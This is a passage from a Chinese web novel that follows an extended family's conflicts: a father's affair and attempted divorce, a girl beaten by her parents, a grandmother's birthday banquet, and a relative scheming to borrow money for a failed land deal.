就没再补货,提前关了门,赶到赵如月家,着急地问:“三婶,我公公婆婆那边怎么样了?事情解决了吗?” “我们回来的时候,还没解决,你公公还是想离婚,你婆婆不想离,我们回来之前,你公公自己一个人走了,小春和丹萍带着你婆婆回镇上,我也不知道现在是个什么情况。” 他们本来以为宁时春今晚得陪着他妈,防着他妈做傻事。 没想到饭吃到一半,宁时春就打电话来,声音带着疲惫问:“三婶,我媳妇儿在你家吗?我回县城了,看到店里关着门,家里也没人。” “她在我家吃饭,你家今天没做饭,你顺便过来吃点吧。” “好。”宁时春挂了电话,往三叔三婶家赶。 宁时春饿得前胸贴后背,到了之后,先猛吃了半碗饭和一些肉和菜。 等肚子没那么饿了,动作才慢下来说道:“我们回去的时候,没见着我爸,家里他的衣服也有一部分不见了,我妈一直催着我去找他,我就让丹萍留在家里陪着她,自己出去找了,但是在镇上找遍了也没找到我爸,有人说看到他提着行李袋坐上了来县城的公交车,我妈又催着我来县城找。” 宁时春说着不由苦笑:“在镇上找,我还知道该去哪里找,毕竟都是熟人,住在哪里我都知道,可这县城说大不大,说小也不小,漫无目的地想找一个人却也不容易。 我爸以前也不常来县城,他倒是有几个在县城的狐朋狗友,可以前多是他那些朋友去镇上找他,那些人的家在哪里我也不知道,我爸又没有手机,我能上哪儿找去?” 宁绍明说:“找不到也别担心,他那么大个人了,真不想让你找到,你把县城走遍也没用。” 宁时春也知道这个道理,可他妈被他爸真要离婚的事吓着了,他爸一天不回家,他妈一天不放心。 赵如月就说:“你妈要是不想离婚,现在你爸不回来对她才是有利的,他一回来估计就是想到办法了,又要闹离婚。” 宁时春听完赵如月的话,仔细一想,还真是这样,他也是当局者迷,在镇上的时候,没想到用这个来劝他妈。 “我这就给丹萍打电话,让她这么跟我妈说,好歹劝劝我妈别哭了,那眼睛肿得眼珠子都看不见了。” 宁绍贤这么坚决地离婚,再加上他收拾东西离家的举动,大家心里难免都有一个猜测。 晚上宁时春和孙佳佳夫妻俩回家了,孩子们也睡觉了。 赵如月跟宁绍明回房间后,跟他说起来这事:“你大哥,不会是在外面有人了吧?” 宁绍明也是这么想的:“我们现在每个月收入不少,不太能看得上镇上景点工作给的那些待遇,可是那在周边很多人眼里,应该算是个香饽饽。” 宁绍贤是刚出狱没多久,可他也是镇上的人。, 他出来后,镇上也会给他和一些还在外面打工,没法及时参与第一批培训的人一起培训,后续他也可以在镇上的景点干活。 再加上分家时,他家分到的房子在他名下,以后每年的分红是直接给他的,还有他分到的那些地。 这些加起来,还真有可能会吸引到比他们这里更穷的,深山里出来没依靠家庭原生条件更差的女人。 宁绍明继续说道:“他要真做出那样的事,就别怪我跟他和跟老二一样,连亲戚也做不成了!” 他们把宁绍贤的情况猜了个八九不离十。 甚至星期六那天,赵如月和宁绍明难得都有空,两个人一起送孩子去市里少年宫上兴趣班。 他们等孩子下课的期间没什么事干,又不想回县城再赶来接孩子,就在市里随便逛逛。 竟然碰巧在市里还真遇到了宁绍贤和一个陌生的女人在市里逛街。 那女人看起来比宁绍贤年轻一些,但头发带着营养不良的黄。 两个人挽着手,看起来像是感情很好的两口子,特别亲密的样子。 看到宁绍明和赵如月,宁绍贤只是惊讶了一下,神色慌张一瞬,又很快回复,还带着那个女人过来跟他们打招呼。 宁绍明没给他们好脸色,黑着脸一声不吭地拉着赵如月就走。 “老三你这是什么意思?不给我这个大哥面子是不是!”偏偏宁绍贤还拽着他不让走,非要他们管那个女人叫大嫂。 “我还能是什么意思,当然是看不惯你还没离婚就在外面乱搞的意思!”宁绍明狠狠甩开宁绍贤的手,指着鼻子骂,“别说你是我大哥,我没有你这样不要脸搞破鞋的大哥!你这种人,放在十几年前,就是该被枪毙的坏种!” 宁绍贤身边那女人看起来胆子不大,被这场面吓得脸色煞白,一动不敢动。 听到宁绍明的话,她忍不住眼泪直流,急急忙忙语无伦次地解释:“我我我我不是,求求你们报警,我不是那样的人,我真的不知道,我真的没想到会这样,别抓我去坐牢,他说他离婚了,我才答应的……” 宁绍明本来不想管这事,毕竟这种事一旦插手,很容易弄得里外不是人, 但宁绍贤的行为,这下子是真把他惹火了。 宁绍明回去就把这事告诉宁时春,让宁时春去打听那个女人的信息。 其实他的人脉比宁时春的人脉广,打听消息的途径也比宁时春多,效率肯定比他高,可他和赵如月正面跟他们俩撞上,已经闹得很不愉快。 他再自己去查,担心打草惊蛇,只好让宁时春去,这毕竟也是他爸妈的事,宁时春也不想自己父母离婚,这事他就得多上点心。 在宁绍贤这边找不到拆开他们的突破口,就得从那个女人那边找。 宁绍贤那天带着的那个女人胆子不大,好像也是被他忽悠了才跟他。 不过只见过一次,他们也不好判断那天她的表现是真的,还是演的,宁绍明就打算先不把这个告诉宁时春。 宁绍明担心宁时春先入为主地觉得她一定是被骗了,到时候老实人的好心性格发作,万一是人家是演的,他同情人家反而被骗。 宁时春得了这个消息,赶紧跑去查,各种打听后,打听到那个女人现在的住处,悄悄摸摸地亲自去看过,知道她才搬到那个地方不到一个月,附近的人也对她不熟悉。 又打听她的老家,也是特地亲自跑到她老家,去证实是不是真的。 确认那确实是她老家,又了解到她的性格确实比较胆小懦弱,不是演的。 甚至她家人在她老家的地位也也不高,总是别同村的人看不起,被明里暗里的欺负占便宜,全家看起来都畏畏缩缩,一副受气包的样子。 宁时春不用宁绍明教,也知道该怎么办了。 第139章 宁时春根本不需要做什么伤害那个女人和她家人的过分的事。 他只是私下找到了那个女人,跟她表明自己的身份。 仅仅到这一步,她已经开始慌了,担心自己被男人的家人找上门来打。 不过她防备了半天,宁时春都没动手,可说出来的话,更让她害怕。 “我知道你老家在哪里,我也去过了。”宁时春准确地说说出了她家村子的名字,还有她家比较明显的特征。 “什么!那你……” “你暂时可以放心,我还什么都没跟你家里人和村里人说,不过如果你还跟我爸在一起,我就不敢保证以后会不会说什么了。” 事情说到这里,她已经被吓坏了,完全不知道该怎么办。 “可是,我、我没钱……” 宁时春问:“我爸没给你钱?” 那个女人以为宁时春觉得宁绍贤给她钱了,想要回他给的钱,急忙老实说道:“他只给了我五六百块钱,这个房子也是他帮我租的,那些钱我花了一点,我真的没有钱还给你。” 宁时春一言难尽地看着她。 她不知道,宁时春的意思根本不是让她还钱,只是无法理解,他爸穷成那样,还这么老了,竟然也有人愿意跟。 宁时春不知道他爸跟这个女人在一起多久了,但看看这房子里生活的痕迹,也知道不会只有几天,最少也得有一个月了吧? 只给了她五六百块钱,她竟然没跑路。 包二奶这种事他只在影视剧上见过,一般不都是有钱或者有权的人,才有资本干这种事吗? 普通人能娶到一个老婆就很不错了。 这种事什么时候门槛变这么低了? 宁时春真的无法理解,他也不想理解。 “只要你离开我爸,那些钱不要你还。” “可是,可是那天我们在街上遇到你家亲戚,回来后我想走,他不让我走,说我要走可以,但是把他给我的钱,全都还给他,他给我买的东西,租的房子租金全部折成钱还给他才能走。” 那天她见到宁绍贤这样的嘴脸后,其实已经后悔了,很想离开。 可是她确实拿不出钱来还给宁绍贤,所以只能继续留在这里。 宁时春一开始还以为她是装的憨,没想到是个真傻的,人家说让她还钱,她还真想着还钱,就没想过,他爸也占了她便宜。 “我说不用还就不用还,你跟他认识才多久,他对你很了解吗?” 那女人摇头说:“他还不如你知道的多,他都不知道我老家在哪。” “那不就得了,趁他不在,把东西收拾好,直接跑了躲起来,全市这么大的地方,你不主动联系他,他又不是什么有钱人,难道还能掘地三尺找你?实在不行你还能回你老家躲一段时间,这都想不到?” 宁时春说着又有些警惕起来,怀疑这人是真傻还是假傻,这么简单的办法想不到? 可是有时候人真就会当局者迷,尤其是害怕的时候,脑子就像是一团浆糊,根本没办法思考。 再加上这是个真的想过,要还钱给宁绍贤再走的实心眼,如果没人提醒,她可能真要自己找活打工赚钱,把那些钱还了再走。 现在经过宁时春的提醒,再加上他看起来比宁绍贤还要强势,她还真听了宁时春的话,收拾东西跑回了老家。 宁绍贤回来的时候,那小小的城中村出租屋单间已经人去楼空。 他问了住在二楼的房东,房东说有个跟他长得有几分像的年轻人来过,然后跟他一起住的那个女人就搬东西走了。 宁绍贤就知道自己被骗了,偏偏是宁时春来的那天,他爸非要叫他陪着一起带他妈去市里的医院复查拿药。 说什么医药费是老二和老三出的,他不出钱就得出力。 其实就是合起伙来给他做局,把他骗离出租屋,再把他对象赶走! 宁绍贤出离愤怒了,他赶回县城,就要跑到宁时春的店里大闹一场,让宁时春以后都没法好好做生意,他日子不好过,他们也别想好好过日子! 然而他的行为已经被其他人预判了,今天宁时春根本没开店。 他又跑去宁绍明的店,宁绍明和赵如月倒是没关门,可他一个人别说一次对上人家夫妻俩,只是宁绍明一个,他也完全占不到便宜。 更别说人家三家店还有那么多店员和学徒,全都是站在他们那边的,甚至他想闹起来,正排队等着吃东西的熟客就第一个不答应。 最后宁绍贤只能跑回家,终于在王海燕那里耍了一把威风。 王海燕被那天被拉去离婚的事吓怕了,生怕宁绍贤回来,又提离婚的事。 她肯定是不会同意离婚的,可也听人说了,一放不同意离婚,另一方想离婚的人可以去法院告,多花一点时间和一点钱就能离了。 所以面对他的辱骂,王海燕不敢再还嘴,只能忍气吞声,默默地干活,等他骂累了就停了。 期间在家陪着王海燕的宁丹萍出来制止过,王海燕却让宁丹萍回房间别管:“你爸至少没动手,你看镇上那个谁谁谁的男人,一生气还动手打人,我不跟你爸吵,你爸就不会动手,已经比别人好多了。” “可是妈,你又没做错什么,我爸他也太……” 王海燕低声呵斥住她没说完的话:“行了!大人的事你别管,不管怎么说,那都是你爸!难道你真想让我们离婚,让这个家,家不成家?” 宁丹萍气得说不出话来,心想:真是皇帝不急太监急!她不管了! 当天下午就回了学校,直接来个眼不见为净。 宁绍贤骂累了,王海燕也做好了饭菜,他又跟以前一样,端起碗就能吃,吃完之后碗一扔就行,脏衣服也有人洗了,不用再操心家里的任何时,事情仿佛又回到原位。 可他还是不甘心,骗到一个年轻的女人之后,再回家看看家里的这个,就觉得王海燕就是个上了年纪的黄脸婆,怎么看怎么不舒心。 宁绍贤还是想再找个年轻点的,然后跟王海燕离婚。 可是年轻又有点姿色还那么傻的女人也不多,宁绍贤再找也找不到那样的了,有不嫌他穷的愿意跟他,他不是嫌人家老,就是嫌人家丑,不老不丑的看不上他,他就嫌人家物质、拜金。 最后这事也就不了了之了。 宁丹萍看不得她妈在家憋屈的样子,很长一段时间没怎么回家。 放假都是去三叔三婶家,现在他们家房子比较大,已经有客房了。 不过宁丹萍有时候还是会跟宁时夏一起住,两个人一起看动画、漫画、看电影。 在只有赵如月和宁丹萍在的时候。 宁丹萍跟她说起自己爸妈的事,然后问道:“三婶,如果,我是说如果,三叔做了我爸做的那些事,你会怎么做?” 赵如月想都不用想,就直接说:“当然是离婚。” 不管是上辈子还是这辈子,她遇上这种事都会离。 “唉,如果我妈也能这么果断就好了。” “每个人的选择都有她自己的考量,她都几十岁了,无论是谁都很难改变她。” “即使是我哥也改变不了?”宁丹萍知道她妈重男轻女,很偏心她哥。 “对。” 宁丹萍闻言沮丧地叹气。 赵如月没有再多说些什么,也不劝她,她是年轻人,理解不了王海燕的选择很正常。 王海燕这种处理方式,不一定对,但对自己这一代人来说,那就是很常见的处理方式。 很多夫妻之间不是没异心,可就是忍着不离婚,忍着忍着,一辈子就这么糊弄过去了。 她也不能跟宁丹萍说别帮她妈说话,要不然她大概率会被她妈背刺。 只能给她提供一个地方,好让她能暂时避开让她窒息的家庭环境,喘口气。 不过以后能不能真正摆脱原生家庭,还要看宁丹萍自己,这个谁也帮不了她。 两个人正聊着,听到宁时夏的脚步声噔噔噔地从楼上跑下来,就止住了这个话题,说起别的事。 宁丹萍看到宁时夏抱着几本漫画出去,随口问道:“这是给你同学送去?” 宁时夏停下说道:“不是,这事丹洁姐跟我借的,她在门口等我。” “丹洁?” 宁丹萍正想问宁时夏怎么还跟宁丹洁玩,宁时夏已经跑出去了。 她只好问赵如月:“三婶,小夏不知道你们家已经不跟二叔家来往了?” “我们大人的事,我和你三叔都没跟孩子说,你二叔家我就不知道了。”赵如月觉得宁绍德和叶菁估计是跟宁丹洁说了的。 要不然宁丹洁不会都到门口了,也不敢进来。 以前宁丹洁不常回老家,但每次回来都跟老家的孩子玩得很好。 就算大人三申五令不许跟谁谁谁家的孩子玩,孩子们可能私底下还是会偷偷摸摸一起玩,小孩子又不是大人的傀儡,这种事很难阻止。 赵如月也不想把上一辈的事情,牵扯到什么都不懂的小孩子身上。 没一会儿,宁时夏从外面跑进来,钻进厨房薅了几个面包和一盒牛奶又跑回去了。 又过一会儿,她又跑进来,这次悄摸摸地不知道拿什么东西,再次跑出去,以为大人不知道。 其实赵如月和宁丹萍都看到了,她最后一次拿的是一些棉签和药膏。 第140章 宁时夏熟练地给宁丹洁身上的伤消毒伤药。 宁丹洁看宁时夏处理伤的动作那么利索,像是做过了好多次的样子,还以为她也跟自己一样。 “小夏,三叔三婶也会打你吗?” 宁时夏疑惑道:“没有呀,爸爸妈妈没打过我,为什么突然问这个?” 宁时夏记性好,记事也早,她还记得自己以前有一次太调皮,气得爸爸的巴掌都扬起来了,但爸爸最后还是下不去手打自己。 所以她根本无法理解,二伯和二伯娘为什么,只是因为二姐在班上,没能第一批选上少先队员,他们就打了她。 明明老师都说过,以后每个学生都有机会选上的,又不是以后就不能当少先队员了,至于打人么? “你爸爸妈妈没打过你,那你为什么对处理身上的伤那么熟练?” “这个啊,是我以前太调皮了,到处跑到处爬,有时候会不小心把身上磕得青紫,看家里人给我上药,我就学会了,后来我就自己给自己上药。” 宁丹洁神色黯然:“你爸爸妈妈对你真好,以前我爸爸妈妈也对我很好,但是自从我爸爸生病后,虽然好了,他们也总是吵架。” 她真想跟丹萍姐一样,来小夏家住一段时间。 可惜不行,她爸爸妈妈讨厌小夏一家,要是被他们发现自己来找小夏玩,可能又要挨一顿在身上,更别说来小夏家住了。 宁时夏没因为她的话而沾沾自喜,反而没再继续这个话题,把话题转移到别人的事情上。 “我听说最近大伯和大伯娘也总是吵架,还闹离婚,你爸妈不闹离婚,已经比大伯和大伯娘好很多了。” 对于小孩子来说,父母离婚无异于天塌了,宁丹萍觉得宁时夏说得很有道理,她安慰自己,至少她比那些单亲家庭的同学好很多。 她班上有些同学家以前也和当初的她家,还有小夏家一样,父母和睦,对他们也好,每天的衣服都特别干净整洁,时不时就能买点新文具和新玩具带到学校来。 后来他们父母离婚后,那些同学身上的衣服就变得脏兮兮的,有时候好几天都不换。 要是谁家父母又各自再婚,更是成了没人疼没人爱的小白菜。 所以她们也特别害怕自己父母离婚。 宁时夏给宁丹洁身上的伤都上好药,把自己带出来的碘伏、棉签和药膏全都给她了。 “丹洁姐,这些药你带回去偷偷藏起来,也自己给自己上药吧,你身上那些伤,一天要涂三次药,才能好得快,你总不能一天跑来我这里三次,万一被你爸妈发现就糟了。” 宁丹洁本来还想推辞,但一听到宁时夏的话,她就把尚未说出来的推辞的话咽下去了:“谢谢你小夏。” “不用谢,一点药而已,我家还有呢。” 宁丹洁带着宁时夏借给她的漫画书回去了,昨天她妈妈打了她之后,好像又后悔了,抱着她抹眼泪,还答应让她出门玩。 她妈妈问她想去哪里玩的时候,宁丹洁说想去书店看书。 本来叶菁想着要是宁丹洁想去的地方离家不远的话,她就亲自带着她去。 宁丹洁选的书店确实离她们家不远,可这个年纪的小孩子,一钻进书店里,看起书来就废寝忘食的,需要等很久。 如果不想等那么久,倒也不是没有办法,那就是把孩子想看的书买回家,让孩子在家看。 可花钱叶菁更不乐意,他们家现在供房子可不容易,简直是一分钱都快要掰成两分钱花。 婆婆生病认不得人,他们又跟婆家人闹翻后,有时候家里日子不好过,叶菁还得回娘家薅点东西,那个月的日子才能过得松快点。 她回去的次数多,她娘家嫂子就不太高兴,她妈也明里暗里地跟她说,让她好好在婆家过日子,都嫁出去了,别总是往娘家跑,这样影响不好。 每每这时候,叶菁才想起婆婆的好来,以前婆婆给她家那么多东西,隔三差五就给,可从来说过嫌弃他们的话! 叶菁手头不宽裕,既不想花钱给孩子买书,又不想陪着孩子在书店话费那么长的时间。 宁丹洁虽然是小孩子,但小孩子往往感知更敏锐。 她察觉到了妈妈不想跟自己一起去,贴心地表示,她已经是个大孩子了,不用家里人陪,自己一个人去书店也行,反正书店离家也不远,书店里还都是跟她一样去蹭书看的学生,不会出事。 叶菁想了想就顺势答应了,不然宁丹洁就算能出门玩,也不能出去玩太久,更别说一个人跑来宁时夏家找她,两家的距离还是蛮远的。 宁丹萍背着空书包出来的,回去的时候带着书和宁时夏给她的东西,叶菁看到她回家,抬头瞥一眼就继续埋头做手工,根本没想过检查她的书包。 她现在做的那些手工活,是从县城工业园的工厂接的兼职。 主要是按照衣服上印的图案,给衣服上缝亮片,做好一件按照图案的难度,可以拿到五元到十五元不等。 叶菁工作日课不多的时候,一天大概能缝两件,周六周日可以多缝一些。 可是她偏偏赚过一节课能拿到几十块钱的课时费,现在这个让县城很多女人很满意的兼职,她就不太满意,总觉得要花的时间太多,挣到的钱太少了。 宁丹洁回到自己房间,把宁时夏给她的零食牛奶、漫画书和药藏好之后,小心翼翼地离开房间,走到客厅。 她爸妈在的时候,除了写作业的时候,其余时间不允许她一直待在房间里,也不许她锁门。 刚开始宁丹洁还反抗过一次,跟他们闹脾气时,生气地跑到房间里,把门锁起来。 那次她爸妈轮流在外面踹她房间的门,从那以后,她房间的门锁就坏了,一直没修好,相当于没有锁。 宁丹洁本来心里还介意自己昨天被打的事,可看到妈妈愁眉苦脸唉声叹气的样子。 她感觉有些心疼妈妈,觉得妈妈既要照顾爸爸,又要努力挣钱养家那么不容易,自己竟然还记恨他们实在太不应该了。 宁丹洁对于自己竟然有过记恨父母的想法,还跟别人说他们的坏话,而在心里感到十分羞愧,认为自己太不懂事了。 她走到叶菁身边问:“妈妈,我也想学做这个,你可以教我吗?等我学会了,就可以跟你一起挣钱,给家里减轻一些负担。” 叶菁听到女儿这话,心里一喜,觉得缝缝补补的事,女孩子本来就该会,学这个正好,等教会女儿之后,自己就能更轻松些。 可惜这次工厂给的截止日期太近,工期太赶,她现在需要赶工,只能等下次工厂那边给的工期没这次那么短,再慢慢教了。 叶菁遗憾地叹气道:“我这里用不上你,别来我这里捣乱!” 她的语气说不上好,宁丹洁心思又比较细腻敏感,就觉得自己好心想帮忙却得不到夸奖,反而遭到嫌弃,心里特别难过。 只好回房间假装在写作业,实际背对着房门口,眼泪大颗大颗地往下掉,砸在书本上,晕湿了好几页书。 另一边,宁时夏也回了屋里,宁丹萍问她:“你在外面跟丹洁玩什么?怎么不叫她进来?” 宁时夏做了个封口的手势:“我答应了丹洁姐要保密,不能告诉你们。” “好吧。”宁丹萍憋笑,其实刚才两个孩子坐在门口说话,没注意到自己声音有多大。 她们坐在客厅里,没刻意偷听也听到了不少内容,只是两个孩子想保密,大人也乐得配合。 宁丹萍正要再说些什么,赵如月的手机来电铃声响起。 自从她店里也开始卖手机后,她也把家里人用的小灵通换成了手机。 赵如月看了一眼,是她娘家嫂子陈芳妮打来的电话。 接起来后,陈芳妮跟赵如月聊了几句,才说到正题:“这个星期六你们有空回镇上吗?” “这个星期六?”赵如月想了想,没想起是什么特殊日子。 她走到挂历边上翻看挂历,看到农历的日期,才想起那是她母亲的生日。 当即说道:“当然回,到时候我跟绍明带个蛋糕回去,家里还需要什么,你只管说,我们一起带回去就行。” 陈芳妮道:“没别的了,你们带蛋糕回来就行,别的我跟你大哥买。” 她跟赵鸿发只是想着,兄弟姐妹自从过年后,好久没能聚一聚了。 而且赵如月家搬到县城后,能见到的机会也比以前少了很多,他们和老人们也挺想念她家的两个孩子,不如趁着这机会聚一下。 陈芳妮生怕赵如月又说要买别的东西,忙说:“还要给赵如媛打电话,问问她能不能回,先挂了。” 赵如月想着母亲整寿,自己只带一个蛋糕可不行。 又拉着宁丹萍陪自己去县城的百货商场卖衣服的地方逛,给父母都买了一身新衣服,额外再给她妈买了一双鞋和一条金项链。 本来想着给买个金镯子,但她买了,她大姐和她三妹是不是也要买? 她们也买的话,她三妹还好,龙虾生意做得不错,一个金镯子,肯定是买得起的。 可三妹家有三个孩子要养,压力也不小,没必要为了跟自己一致,多出这么一笔本来不用出的钱。 大姐就更不用说了,同样是要养三个孩子,她家条件不好,压力比三妹家还大。 她们三个都是出嫁的女儿,容易被人用来比较,赵如月就干脆买了一条不容易被人看到的金项链,到时候私下给她妈。 再叮嘱老人家,自己戴着开心或者看着乐呵就行,别让别人知道。 赵如媛正在跟丈夫商量事,两个人脸上都带着难色。 接到娘家大嫂打来的电话,赵如媛跟丈夫对视一眼,她丈夫忙给她使眼色。 其实不用他使眼色,母亲整寿赵如媛肯定也是要回去的,她就跟大嫂说了自己回去的日期。 挂了电话后,她丈夫凑过来说:“我们正商量那件事,大嫂刚好打电话来,这不就是缘分?可见老天爷也是赞同的,要不大嫂以往给你打电话都是晚上打,为什么偏偏这时候打来?” “你少给我说这些封建迷信的东西,那事我还得再想想,可不能把我姐给坑了!” 她丈夫凑过去给她捏肩膀:“行,你好好考虑,其实你仔细想想就知道,那不是坏事,姐以前帮我们,我肯定不会坑她。” 赵如媛嫌弃把他拍开:“少来了!说什么不会坑我姐,可现在我们这一片,谁不知道那块地已经是废地了!” “那也不一定啊,万一……” “你先闭嘴,别说话!我再好好想想。” 140-150 第141章 邓细妹跟儿子儿媳还有女儿们千叮咛万嘱咐,他们几家刚过上好日子没几年,要懂得惜福,虽然是整寿也不用搞得多隆重,一家子聚在一起吃个饭就行,就像她和老头子五十整寿的时候一样。 可现在日子好了,物质条件丰富。 四个子女里,三个兜里都有余钱,还有个手艺特别好的女婿在,再怎么不隆重,能置办的菜色,也比以前他们五十整寿的时候好很多。 毕竟他们五十整寿的时候已经是九几年。 那时候他们几家经济条件都很差,一桌菜也就跟那年代过年时的年夜饭差不多的水平,真就是全家聚一聚、吃一顿饭就完了。 现在的不隆重,比那时候镇上隆重办整寿的人办得还要好。 只是请了血缘比较近的近亲们,就差不多有三四桌。 再加上赵如月姊妹几个,带着丈夫孩子来,加上父母和哥哥一家,又是至少两桌。 还有跟他们父母走得近,互相帮助过的邻居、父母的老朋友。 这些老朋友跟他们父母一样都上了年纪,难得能聚一聚,以后就是见一面少一面了,还是几十年的老交情,怎么也得请来,这又是一两桌。 另外再预备着一桌,以免临时有计划之外的人来。 别人特地来给祝寿,哪怕自己没邀请他们,在这种好日子,作为主家也不能说,我家没吃的了,你把礼物放下就走吧?总得让别人吃个饭再走。 这一算下来,怎么算都至少得预备够十桌的菜。 几个子女商量过后,就定下了十桌的菜量。 邓细妹嘴上说着,十桌每桌算十个人就是一百个人,哪有可能来那么多人,这样太铺张了,别搞这些。 可儿女们坚持该请的人一定要请,她拗不过,只好随他们了。 转头出去跟人说这些的时候,语气像是带着埋怨,嫌儿女大了不听话,可那脸上的笑,压都压不下去。 听人家说那是她儿女孝顺,才想给她好好办,别人想办还没那个福气,儿女这么孝顺,以后她只等着享福就是了。 邓细妹眼睛都笑得眯成了一条缝,她只可惜二女儿送自己的金项链没法拿出来给别人看。 虽然儿女孝顺自己让她很高兴,可她也记着自己还有个女儿现在日子依然不太好过。 也不是说揭不开锅,现在镇上揭不开锅的人家几乎没有了,家家户户隔三差五都能吃上肉,只是大女儿家没有余钱而已。 现在大女儿至少不需要娘家接济,邓细妹已经十分欣慰了。 可是她要是把项链拿出来跟别人炫耀,倒像是在点其他没给自己送金饰的女儿一样,这可不是她想要的。 不管女儿送她什么,她都会很高兴很欣慰,只要心意到了就行。 炫耀的心有时候是会悄悄冒出来,但她脑子还没糊涂,可不想因为自己这点虚荣心,让女儿之间互相攀比起来。 二女儿送她金项链的时候是私底下送的,没当着别人的面送,还叮嘱她别让除了她爸之外的其他人知道,邓细妹就明白二女儿的想法跟自己一样。 他们兄弟姊妹之间,能和和睦睦互相帮助,邓细妹就很满足了。 事实证明,赵如月兄妹几个多预备几桌的决定是正确的,还真有那么多人来了。 这次办整寿,可让邓细妹在街上老年人群体里,被羡慕了很久。 邓细妹长一段时间,在街上走路都带风。 后来不是没人办整寿规模比她更大,但她依然一直记着孩子对自己的这份孝心。 寿宴当天,十桌人几乎都坐满了,赵如月兄妹几个还担心再有人来菜不够,好在该来的人都来了,临时来的人只有几个,除了自己听到消息带着礼物上门的几个。 另外几个就是她哥的朋友,经过门口正巧被她哥看到,聊着聊着他哥自己把人拉进来一起吃饭了,第十桌没做满,但提前预备的菜都用上了,没浪费。 倒是主动上门来的人让赵如月有些意外。 临时带着礼物主动上门的那几个,说起来确实跟她娘家有点沾亲带故,但是其实以前真没怎么接触过。 那几个人家早搬到省城去了,跟她父母互相来往都不太多,更别说赵如月。 她长这么大,跟那几家人见面的次数不超过五次,以前她父母过五十整寿,他们可没主动来。 那几家也只有过年的时候,隔个一两年,回来走一次亲戚,还有她三叔以前过五十整寿的时候来过。 也不是说人家发达了,看不起她家穷才这样,而是她家跟他们几家已经是远亲,以前他们来走亲戚,也只是去拜访家族里有辈分比她爸还高的老人的人家。 他们几家一起请亲戚们吃饭的时候,同族的每家只派一个人去吃。 要不镇上这么多同族亲戚,每次有远亲来,所有人全都一起去吃饭,也太隆重也太麻烦了。 一般这种不太熟的远房亲戚来,吃饭的时候不是她爸去就是她哥去。 所以他们几家这次主动派人来给她母亲祝寿,他爸和他哥倒是跟这几个人还算说得上话,不至于尴尬。 让赵如月意外的是,过年的时候,他们来都是不过夜,吃过晚饭就开车回省城。 这次竟然在跟他们血缘关系比较近的亲戚家住下了,第二天又特地去了她娘家一趟,请她哥给她打电话问问,她那边有没有空,他们想上门拜访。 电话里,赵如月有点懵:“拜访?来我家?” 她还是第一次遇到这种情况,一时竟然不知道该怎么办。 她哥说:“对,他们刚才来的时候就是这么说的。” 赵如月想不通:“可我跟他们几家没什么交情,怎么突然来拜访我?” 她知道他哥估计也不明白为什么,所以也不是真想问他要个答案。 又问道:“他们有没有透露找我是为了什么事?” “他们没说,只说如果你有空的话,想去拜访一下。” 赵如月皱眉:“怎么神神秘秘的。” “我估摸着,可能是想找你们帮忙吧?你要是不想让他们去,我就帮你推了。” “让我想想……”赵如月思考了一会儿,才接着说道,“毕竟是亲戚,人家还特地来给咱妈祝寿了,总不能妈生日刚过,我就那么不讲情面,连人家想来拜访都不愿意见一面,我星期日要陪两个孩子去市里,白天估计都没时间,星期一或者星期二吧。” “那我就这么回他们了,”他说完又忍不住叮嘱了几句,“要是他们找你帮忙办事,那事情不好办,或者你不想办的话,就直接拒了,可千万别为了顾着我和爸的面子不好意思拒绝人家。” 赵如月笑着说:“哥,你放心,我知道了。” 赵鸿发挂了电话,一回头,看到三妹夫站在身后不远处,看到他这边结束,走过来问:“哥,是二姐的电话?” 其实林国豪刚才通过大舅子说话的内容,大概知道他们说的是什么事了,但是他还是想问一下。 赵鸿发点头:“是啊,有人找她,我问问她有没有空。” “大姐什么时候有空,我们回去前也去大姐家看看,以前大姐给我家孩子买过那么多次衣服,我们现在手头宽裕了,也想带几个孩子去县城逛逛,顺便也给他们买点东西。” 赵鸿发听到这话心里很高兴,这说明三妹和三妹夫也是个知恩图报的人。 但他嘴上还是说:“你们逢年过节也不是没给我和你们二姐家送过东西,自家人不用那么客气,还特地带孩子去买。” 林国豪到底也是做了生意的人,现在挺会说话:“过年过节跟平时哪能一样,逢年过节你们也给我们送了,我们好不容易不是年节的时候回来,哥,你可不能不同意我们带孩子去玩。” “你们可悠着点,别孩子想要什么就给。” “知道,明天刚好是星期天,孩子们都能休息,我们明天就带他们去。” “明天你二姐要带小秋和小夏去市里上兴趣班,不一定有空。”赵鸿发顿了顿,又想着二妹对自家人跟对外人不一样。 别人上门去拜访,她和二妹夫得在家。 但自家人一起出去逛,不在县城逛也不是不行,赵鸿发以前也听赵如月说过,她跟宁绍明有时候送孩子去兴趣班,孩子在里面上课,他们要么在外面等着,要么自己去逛逛,如果家里的生意比较忙,就先回来,等孩子快下课的时间再提前一点赶去接。 赵鸿发又说道:“你让如媛给她二姐打电话问问,她俩商量一下什么时候、去哪里逛,这些事得是她们女的才知道。” 林国豪说:“那我这就去问问。” 他赶紧去找赵如媛,把她拉到没人的地方说话。 “我刚才看到哥给二姐打电话,说是有亲戚想去二姐家拜访一下。” 赵如媛不明所以:“那怎么了?也许是亲戚看我二姐现在发达了,想走动一下,不管以后用不用得上这个关系,好歹也是一条人脉。” 林国豪有些着急:“万一人家现在就需要二姐帮忙呢?” 赵如媛不以为意:“我二姐又不傻,人家一问就帮?” 林国豪提醒她:“那几家可不是什么打秋风的穷亲戚,人家是真有钱。” “人家有钱更不需要二姐帮忙了,听说有钱人都看中人脉,人家可能真的只是想多一条人脉。” “你还是没明白我的意思,”林国豪干脆把话说得更直白一些,“人家真有钱,来找二姐不一定是有需要二姐帮忙的地方,可能也有想拉投资。 你想想二姐和二姐夫手头上能动的钱也是有数的,如果人家真是来拉投资,二姐和二姐夫眼光那么好,肯定一看就能看出来,那项目是好是坏,万一真是好项目,二姐家的钱投进去了,那还有钱借给我们吗?” “你也说了‘如果’、‘万一’、还不一定是真的呢,就算是真的,二姐家把钱投进去,那也是对二姐家有好处,不比我们那废地好多了?” 林国豪被她的话噎住,但他没放弃:“你可别忘了以前我那老板怎么说的,投资有风险,收益越大风险越大,虽然现在省城不往我们那块地的方向发展了,可土地就实实在在地摆在那里,能看到实物。 投资别人看不见摸不着,还跟人家不太熟,就算遇到好项目,有收益了,人家耍点手段,那钱可不一定能拿到手,土地才是最实在的东西!” 赵如媛有些不耐烦了:“对对对,就你那块地是宝贝,别人的都不是好东西,行了吧?” “我可没那么说,我只是说别人的有风险,不过我们自己说再多也没用,总得先问问二姐和二姐夫的想法。 我也是为了我们小家着想,现在村里跟风养小龙虾的人家越来越多了,有些人本钱还比我们大,我们的优势越来越小,不是本地独门生意,还不想别的招,以后只会一直走下坡路。 